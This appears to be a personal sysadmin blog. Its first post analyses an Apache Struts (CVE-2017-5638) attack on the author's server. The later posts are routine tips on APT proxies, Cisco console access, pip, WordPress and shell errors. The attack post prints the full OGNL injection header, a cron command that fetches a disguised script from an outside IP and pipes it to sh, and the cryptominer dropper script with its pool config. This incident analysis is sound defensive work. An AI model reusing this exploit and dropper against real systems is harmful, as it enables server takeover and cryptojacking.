Shell hiding in image files

One day, we noticed strange GET request towards our JBoss server:

GET /login.action   HTTP/1.1
Host: X.X.X.X
Connection: keep-alive 
Accept-Encoding: gzip, deflate 
Accept: */* 
User-Agent: Mozilla/5.0 
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} 

From the request above, you’ll quickly noticed that this attack leveraging Apache Struts vulnerability from CVE-2017-5638.

The request tried to execute command below:

#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -'

Some explanations:
“-O” : writes the documents to file.
“-” : if is used as file, documents will be printed to standard output, disabling link conversion.
“-q” : quiet (no output)

As you see, it tried to fetch a .jpg file from 91.230.47.41. Seems normal right?
Let’s fetch that file & take a look inside it:

[email protected]:~/a# file logo.jpg
logo.jpg: POSIX shell script, ASCII text executable

ASCII?? Not JPG?? hmm..
Lets see what’s inside the “logo.jpg” file:

[email protected]:~/a# cat logo.jpg
#!/bin/sh
rm -rf /tmp/systemd-logind
rm -rf /tmp/logind.conf
rm -rf /tmp/kworker
rm -rf /tmp/kworker.conf
rm -rf /tmp/kauditd.conf
pkill -f stratum
pkill -f "/tmp/apache"
pkill -f "/tmp/httpd.conf"
pkill -f cryptonight
pkill -f qivtpwwuxs
ps auxf|grep -v grep|grep -v smzgmilpdo|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qivtpwwuxs"|awk '{print $2}'|xargs kill -9
ps -fe|grep smzgmilpdo|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /tmp/smzgmilpdo.conf
rm -rf /tmp/smzgmilpdo.conf
curl -o /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
wget -O /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
chmod 777 /tmp/kauditd
rm -rf /tmp/kauditd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker
else
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker_na
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker_na
fi
chmod +x /tmp/kauditd
cd /tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./kauditd -c smzgmilpdo.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

We noticed there are several other file fetched; possibly a config file & bin file.
Let’s fetch those file!

Here is the config file:
http://91.230.47.41/pics/kworker.conf

{{
    "url" : "stratum+tcp://212.129.44.157:80",
    "url" : "stratum+tcp://212.129.46.87:80",
    "url" : "stratum+tcp://212.129.44.156:80",
    "url" : "stratum+tcp://212.129.46.191:80",
    "url" : "stratum+tcp://62.210.29.108:80",
    "url" : "stratum+tcp://212.83.129.195:80",
    "url" : "stratum+tcp://212.129.44.155:80",
    "user" : "466iRjZzJZZWAqzV24ywY8XMVNkp9hj8UJiBEf61Eui6Nw8bEAJ1z434LWM3SKdaDyH7zgNY64rgg2fYmw8cbP5uBjpMA8g",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

Not sure it is. Maybe some sort of config file for cryptomining. Lets analyze the other 2 files.

First file: http://91.230.47.41/pics/kworker

[email protected]:~/91.230.47.41# file kworker
kworker: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

hmm.. an executable Linux file..
Lets see if the file is packed:

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2979640 ->   1217152   40.85%  linux/ElfAMD   kworker

Yup. so lets unpacked the file using UPX:

[email protected]box:~/91.230.47.41# upx -d kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2980813 <-   1217152   40.83%  linux/ElfAMD   kworker

Unpacked 1 file.

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker1: NotPackedException: not packed by UPX

Another file: http://91.230.47.41/pics/kworker_na

[email protected]:~/91.230.47.41# file kworker_na
kworker_na: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0eedc33c49aeb80818a839a9b23cf159c710e443, stripped

[email protected]:~/91.230.47.41# upx -l kworker_na
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker_na: NotPackedException: not packed by UPX

Overall, looks like the attacker want to hack our servers & turn it into his own crypto currency mining machine.
Typical behavior of attack we see in this time where the crypto currency is rising. People hack to make profit. 🙂

Here the MD5 for file above:

211e98ac0686fe98d06570ad0689e9b3  logo.jpg
d2a01b844521fb141b8449f4d8e1c821  kworker.conf
483b322b42835227d98f523f9df5c6fc  kworker (upx packed)
4fa4269b7ce44bfce5ef574e6a37c38f  kworker (upx unpacked)
131df88b7d0b3e7a1c4d84c37e71fb60  kworker_na

Configuring proxy for APT in Ubuntu

Recently, I have a problem where when I tried to update Ubuntu package via apt-get, it shows HTTP 401 proxy error related.
Just a note, I’m running VM using my office network which has an enterprise web proxy servers.

From this site;

APT configuration file method

This method uses the apt.conf file which is found in your /etc/apt/ directory. This method is useful if you only want apt-get (and not other applications) to use a http-proxy permanently.

On some installations there will be no apt-conf file set up. This procedure will either edit an existing apt-conf file or create a new apt-conf file.

gksudo gedit /etc/apt/apt.conf

Add this line to your /etc/apt/apt.conf file (substitute your details for yourproxyaddress and proxyport).

Acquire::http::Proxy “http://username:[email protected]:proxyport”;

Save the apt.conf file.

References:

  • http://askubuntu.com/questions/257290/configure-proxy-for-apt
  • http://askubuntu.com/questions/543616/why-does-add-apt-repository-now-fail-to-retrieve-keys-behind-my-proxy-server-bu

Configure Cisco switch from Mac OS X through console port

Recently, I was searching for rollover cable that used to connect your PC/laptop to your switch via console port. It took me for a while searching this kind of cable in Low Yat Plaza, KL. Here, you can find variety of electronics stuff from PC hardware to servers stuffs.

But, it was hard for me to find this cable. After several visit to Low Yat, I managed to find the cable together with DB9 to USB converter. As you know, the rollover cable is using serial to ethernet cable. So, this post will guide you on how to install the driver and connect your rollover cable to your switch from Mac OS X.

So, for the first step, you should have rollover cable that looks like this:

Rollover to DB9/serial cable
Rollover to DB9/serial cable

And the DB9 to USB 2.0 converter. The one that I’m using is like this:
http://www.vztec.com.my/?sec=product&type=connect&sub=5&id=13776589936053

For my Mac OS X version, I’m using Mac OS X Yosemite 10.10.5 on MacBook Pro (13-inch, Early 2011). You’ll need the driver for the cables that you can download at here:
http://www.prolific.com.tw/UserFiles/files/PL2303_MacOSX_1_6_1_20160309.zip

After you’ve done downloading and extracting the driver, just click at .pkg file and proceed to install the driver. Reminder, make sure you restarted you machine after installing the driver in order for system to take effect:

DB9 to USB Converter driver
DB9 to USB Converter driver

Then, connect/plug-in the rollover cable to DB9 to USB converter. Then connect the converter USB to you Mac. After all has been connected, click on Apple logo on top left menu bar, click About This Mac, on Overview tabs, click System Report. Ensure that you DB9 converter is connected:

Mac OS X System Info
Mac OS X System Info

After restart, you can verify if the driver has successfully installed and loaded to the system by using this command:

$ kextstat | grep prolific

or

$ ioreg -c IOSerialBSDClient | grep usb

Now finally, you need an application which will talk to the serial port. We’ll using Terminal app on Mac OS X. On Mac, the file which maps to the port is /dev/cu.usbserial. Once all the cable has been connected, run this command to start connecting to you switch is:

$ screen /dev/cu.usbserial 9600

Flatten a Nested Directory & File Hierarchy from Command Line of OS X

Lets say you have this kind of file/folder structure:

master folder ---- folder1 ---- image1.jpg
               |            |
               |            |-- image2.jpg
               |
               |
               |-- folder2 ---- image1.jpg
               |            |
               |            |-- image2.jpg
               |
               |-- etc.

You can take all the *.jpg file or any file type, and move it into one single/master folder.
Here are the command to use:

cd <master_directory> <-- master/top folder where all the file are located inside it
find * -type f -print0 | xargs -0 -I%%% mv -n %%% ../<new_directory> <-- "new destination folder"

Upgrade Python packages at using pip

As you read in the title above; to update your Python packages via pip.

for Linux/*nix:

pip freeze --local | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U

p/s: you may need to run as sudo. Probably.

for Windows:

for /F "delims===" %i in ('pip freeze -l') do pip install -U %i

Credit:

http://stackoverflow.com/questions/2720014/upgrading-all-packages-with-pip

Fixing wp_termmeta doesn’t exist error

One day, I open my email via mail command and see bunch of error mail received by me, written something like this:

PHP message: WordPress database error Table 'blog.wp_termmeta' doesn't exist for query SELECT term_id, meta_key, meta_value FROM wp_termmeta WHERE term_id IN (108) ORDER BY meta_id ASC made by require('wp-blog-header.php'), wp, WP->main, do_action_ref_array, call_user_func_array, Jetpack_RelatedPosts->action_frontend_init, Jetpack_RelatedPosts->_action_frontend_init_ajax, Jetpack_RelatedPosts->get_for_post_id, Jetpack_RelatedPosts->_get_related_posts, Jetpack_RelatedPosts->_get_related_post_data_for_post, Jetpack_RelatedPosts->_generate_related_post_context, get_the_category, get_the_terms, wp_get_object_terms, update_termmeta_cache, update_meta_cache

Upon diving in Google ocean, I found this solution that may solve the problem:

CREATE TABLE `wp_termmeta` (
  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `term_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `meta_key` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `meta_value` longtext COLLATE utf8mb4_unicode_ci,
  PRIMARY KEY (`meta_id`),
  KEY `term_id` (`term_id`),
  KEY `meta_key` (`meta_key`(191))
) ENGINE=InnoDB AUTO_INCREMENT=3255 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

Use this SQL query to manually add the wp_termmeta table into your WordPress database; if the wp_termmeta table doesn’t exist in your DB.

Credit:
http://zanca.it/tutorials/wp_termmeta-doesnt-exist-error-solved/

Install more command line utils for Terminal app in IOS

In case you wonder how to use command line utils like ifconfig or netstat in you IOS devices (iPhone), install these package below via Cydia:

adv-cmds     - finger, fingerd, last, lsvfs, md, ps
diskdev-cmds - mount, quota, fsck, fstyp, fdisk, tunefs
network-cmds - arp, ifconfig, netstat, route, traceroute
shell-cmds   - killall, mktemp, renice, time, which
file-cmds    - chflags, compress, ipcrm, ipcs, pax
system-cmds  - iostat, login, passwd, sync, sysctl
basic-cmds   - msg, uudecode, uuencode, write

Credit:
http://forums.whirlpool.net.au/archive/1718105

Shell script fails: Syntax error: “(” unexpected

There’s one time I encountered this error when executing a bash code/script:

install.sh: Syntax error: "(" unexpected

The script does not begin with a shebang line, so the kernel executes it with /bin/sh. On Ubuntu, /bin/sh is dash, a shell designed for fast startup and execution with only standard features. When dash reaches the line, it sees a syntax error: that parenthesis doesn’t mean anything to it in context.

Since dash (like all other shells) is an interpreter, it won’t complain until the execution reaches the problematic line. So even if the script successfully started at some point in your testing, it would have aborted once the problematic line was reached.

The shebang line must be the very first thing in the file. Since you use bash features, the first line of the file must be #!/bin/bash or #!/usr/bin/env bash.

Credit:
http://unix.stackexchange.com/questions/45781/shell-script-fails-syntax-error-unexpected

Python Error – InsecurePlatformWarning

There is one time I see this kind of error:

          InsecurePlatformWarning: A true SSLContext object is not available. 
This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail.
For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
InsecurePlatformWarning

If you’re on Ubuntu, you may run into trouble installing pyopenssl, so you’ll need these dependencies:

apt-get install libffi-dev libssl-dev

Then you’ll only need to install the security package extras:

pip install requests[security]

or, install them directly via pip:

pip install pyopenssl ndg-httpsclient pyasn1

Requests package/library will then automatically inject pyopenssl into urllib3

Credit:
http://stackoverflow.com/questions/29134512/insecureplatformwarning-a-true-sslcontext-object-is-not-available-this-prevent